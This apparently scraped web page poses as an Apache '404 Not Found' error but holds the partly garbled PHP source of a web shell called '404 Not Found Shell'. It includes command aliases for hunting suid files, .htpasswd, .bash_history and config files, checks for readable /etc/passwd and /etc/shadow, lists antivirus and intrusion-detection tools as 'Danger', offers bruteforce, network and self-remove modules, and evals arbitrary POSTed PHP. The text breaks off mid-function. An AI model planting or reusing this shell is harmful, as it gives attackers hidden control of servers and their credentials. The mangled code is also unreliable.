|
|
 |
| |
| |
| LUPA |
|
| |
|
Not Found
The requested URL was not found on this server.
Apache Server at Port 80
"dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -la",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name "config*"",
"find config* files in current dir" => "find . -type f -name "config*"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate .conf",
"locate .pwd files" => "locate .pwd",
"locate .sql files" => "locate .sql",
"locate .htpasswd files" => "locate .htpasswd",
"locate .bash_history files" => "locate .bash_history",
"locate .mysql_history files" => "locate .mysql_history",
"locate .fetchmailrc files" => "locate .fetchmailrc",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
function printHeader() {
if(empty($_POST[charset]))
$_POST[charset] = "UTF-8";
global $color;
?>
> <?=$_SERVER[HTTP_HOST]?>- 404 Not Found Shell V.<?=VERSION?>
".$path[$i]."/";
}
$charsets = array(UTF-8, Windows-1251, KOI8-R, KOI8-U, cp866);
$opt_charsets = ;
foreach($charsets as $item)
$opt_charsets .= ;
$m = array(Sec. Info=>SecInfo,Files=>FilesMan,Console=>Console,Sql=>Sql,Php=>Php,Safe mode=>SafeMode,String tools=>StringTools,Bruteforce=>Bruteforce,Network=>Network);
if(!empty($GLOBALS[auth_pass]))
$m[Logout] = Logout;
$m[Self remove] = SelfRemove;
$menu = ;
foreach($m as $k => $v)
$menu .= [ .$k. ] | ;
$drives = "";
if ($GLOBALS[os] == win) {
foreach( range(a,z) as $drive )
if (is_dir($drive.:\))
$drives .= [ .$drive. ] ;
}
echo Uname
User
Php
Hdd
Cwd.($GLOBALS[os] == win?
Drives:). | .
:.substr(@php_uname(), 0, 120). [Google] [milw0rm]
:.$uid. ( .$user. ) Group: .$gid. ( .$group. )
:.@phpversion(). Safe mode: .($GLOBALS[safe_mode]?ON:OFF). [ phpinfo ] Datetime: .date(Y-m-d H:i:s).
:.viewSize($totalSpace). Free: .viewSize($freeSpace). (.(int)($freeSpace/$totalSpace*100).%)
:.$cwd_links. .viewPermsColor($GLOBALS[cwd]). [ home ]
:.$drives. | .
Server IP:
.gethostbyname($_SERVER["HTTP_HOST"]).
Client IP:
.$_SERVER[REMOTE_ADDR]. |
.
;
}
function printFooter() {
$is_writable = is_writable($GLOBALS[cwd])?"[ Writeable ]":"[ Not writable ]";
?>
= 1073741824)
return sprintf(%1.2f, $s / 1073741824 ). GB;
elseif($s >= 1048576)
return sprintf(%1.2f, $s / 1048576 ) . MB;
elseif($s >= 1024)
return sprintf(%1.2f, $s / 1024 ) . KB;
else
return $s . B;
}
function perms($p) {
if (($p & 0xC000) == 0xC000)$i = s;
elseif (($p & 0xA000) == 0xA000)$i = l;
elseif (($p & 0x8000) == 0x8000)$i = -;
elseif (($p & 0x6000) == 0x6000)$i = b;
elseif (($p & 0x4000) == 0x4000)$i = d;
elseif (($p & 0x2000) == 0x2000)$i = c;
elseif (($p & 0x1000) == 0x1000)$i = p;
else $i = u;
$i .= (($p & 0x0100) ? r : -);
$i .= (($p & 0x0080) ? w : -);
$i .= (($p & 0x0040) ? (($p & 0x0800) ? s : x ) : (($p & 0x0800) ? S : -));
$i .= (($p & 0x0020) ? r : -);
$i .= (($p & 0x0010) ? w : -);
$i .= (($p & 0x0008) ? (($p & 0x0400) ? s : x ) : (($p & 0x0400) ? S : -));
$i .= (($p & 0x0004) ? r : -);
$i .= (($p & 0x0002) ? w : -);
$i .= (($p & 0x0001) ? (($p & 0x0200) ? t : x ) : (($p & 0x0200) ? T : -));
return $i;
}
function viewPermsColor($f) {
if (!@is_readable($f))
return .perms(@fileperms($f)).;
elseif (!@is_writable($f))
return .perms(@fileperms($f)).;
else
return .perms(@fileperms($f)).;
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh))) {
$files[] = $filename;
}
return $files;
}
}
function which($p) {
$path = ex(which .$p);
if(!empty($path))
return $path;
return false;
}
function actionSecInfo() {
printHeader();
echo Server security information;
function showSecParam($n, $v) {
$v = trim($v);
if($v) {
echo .$n.: ;
if(strpos($v, "
") === false)
echo $v. ;
else
echo .$v. ;
}
}
showSecParam(Server software, @getenv(SERVER_SOFTWARE));
showSecParam(Disabled PHP Functions, ($GLOBALS[disable_functions])?$GLOBALS[disable_functions]:none);
showSecParam(Open base dir, @ini_get(open_basedir));
showSecParam(Safe mode exec dir, @ini_get(safe_mode_exec_dir));
showSecParam(Safe mode include dir, @ini_get(safe_mode_include_dir));
showSecParam(cURL support, function_exists(curl_version)?enabled:no);
$temp=array();
if(function_exists(mysql_get_client_info))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists(mssql_connect))
$temp[] = "MSSQL";
if(function_exists(pg_connect))
$temp[] = "PostgreSQL";
if(function_exists(oci_connect))
$temp[] = "Oracle";
showSecParam(Supported databases, implode(, , $temp));
echo ;
if( $GLOBALS[os] == nix ) {
$userful = array(gcc,lcc,cc,ld,make,php,perl,python,ruby,tar,gzip,bzip,bzip2,nc,locate,suidperl);
$danger = array(kav,nod32,bdcored,uvscan,sav,drwebd,clamd,rkhunter,chkrootkit,iptables,ipfw,tripwire,shieldcc,portsentry,snort,ossec,lidsadm,tcplodg,sxid,logcheck,logwatch,sysmask,zmbscap,sawmill,wormscan,ninja);
$downloaders = array(wget,fetch,lynx,links,curl,get,lwp-mirror);
showSecParam(Readable /etc/passwd, @is_readable(/etc/passwd)?"yes [view]":no);
showSecParam(Readable /etc/shadow, @is_readable(/etc/shadow)?"yes [view]":no);
showSecParam(OS version, @file_get_contents(/proc/version));
showSecParam(Distr name, @file_get_contents(/etc/issue.net));
if(!$GLOBALS[safe_mode]) {
echo ;
$temp=array();
foreach ($userful as $item)
if(which($item)){$temp[]=$item;}
showSecParam(Userful, implode(, ,$temp));
$temp=array();
foreach ($danger as $item)
if(which($item)){$temp[]=$item;}
showSecParam(Danger, implode(, ,$temp));
$temp=array();
foreach ($downloaders as $item)
if(which($item)){$temp[]=$item;}
showSecParam(Downloaders, implode(, ,$temp));
echo ;
showSecParam(Hosts, @file_get_contents(/etc/hosts));
showSecParam(HDD space, ex(df -h));
showSecParam(Mount options, @file_get_contents(/etc/fstab));
}
} else {
showSecParam(OS Version,ex(ver));
showSecParam(Account Settings,ex(net accounts));
showSecParam(User Accounts,ex(net user));
}
echo ;
printFooter();
}
function actionPhp() {
if( isset($_POST[ajax]) ) {
$_SESSION[md5($_SERVER[HTTP_HOST]).ajax] = true;
ob_start();
eval($_POST[p1]);
$temp = "document.getElementById(PhpOutput).style.display=;document.getElementById(PhpOutput).innerHTML=".addcslashes(htmlspecialchars(ob_get_clean()),"
\ |
|
|
|
|
